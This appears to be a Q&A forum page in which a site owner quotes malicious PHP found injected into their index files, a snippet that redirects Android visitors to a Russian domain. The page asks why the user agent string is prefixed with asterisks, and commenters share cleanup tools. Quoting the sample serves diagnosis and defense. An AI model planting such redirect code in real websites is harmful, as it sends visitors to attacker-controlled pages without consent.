1

I found the following in every index file of my sites on a server I have. It looks like its redirecting all android users to some spooky Russian site.

$ua = $_SERVER['HTTP_USER_AGENT'];
if(stripos("***$ua",'android') !== false){
header("Location: http://andsecurity.ru");
die();
}

My question is: In the stripos function, they add three asterisks in front of the user agent variable, why would they want to do that? What does that do?

Improve this question
4
  • The *** before $ua don't seem to actually do anything. I'm not sure why they are added here.
    – gen_Eric
    Oct 13, 2014 at 19:16
  • I know this is a bit offtopic, but i'm facing the same problem, was you able to find where the malware was infected? I cleaned as much as I could but some index.php and .htaccess are still being modified with the exact code as yours. Could you send me some hint here or to soy [at] marcosbl.com ? Sorry for disturbing !
    – Marcos Besteiro López
    Oct 15, 2014 at 9:59
  • Nope, spent 2 days going through server. It is actually astounding how deeply infected my server is. Someone recommended using maldet as a more robust and comprehensive solution. I imagine I'll be trying to implement it in the next few days.
    – SpookyRussianSites
    Oct 16, 2014 at 18:23
  • Same here, but for now I managed to get it fixed with a bit of help from AIDE. First i made broad searches of files containing "eval", then noted a bit of the encoded garbage and searched for that strings. Note I found 2 different ones, one is the worm itself and the other is the "web control panel". After deleting them all I installed AIDE, to avoid this problem in the future, some help here: pka.engr.ccny.cuny.edu/~jmao/node/30 snekul.com/wordpress/blog/2012/09/27/…
    – Marcos Besteiro López
    Oct 17, 2014 at 9:11

1 Answer 1

Reset to default
4

It could be due to a (previous) bad code or to avoid warnings/errors in responses.

stripos returns the possition of second parameter in first one, starting indexes at 0, so in a bad code if (stripos($ua,'android')) the condition would be skipped as false in the case the string started with android.

Correct solution would be using === and !==, but prepending a string that wouldn't match prior to the test string, makes any match to be at least at value 1 (3 in this case), avoiding the need to use !== false.

It also covers the case where user-agent is missing to avoid any kind of warning/error at running time.

Improve this answer
2
  • 1
    Wouldn't the first line of the code trigger PHP Notice: Undefined index: HTTP_USER_AGENT upon setting $ua if user agent is missing?
    – Question Overflow
    Oct 14, 2014 at 2:00
  • 1
    True. Also it seems that stripos does not warn if searching an empty string either as I suppossed it would. In any case, that's the only reason I came up to.
    – NuTTyX
    Oct 14, 2014 at 8:34

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .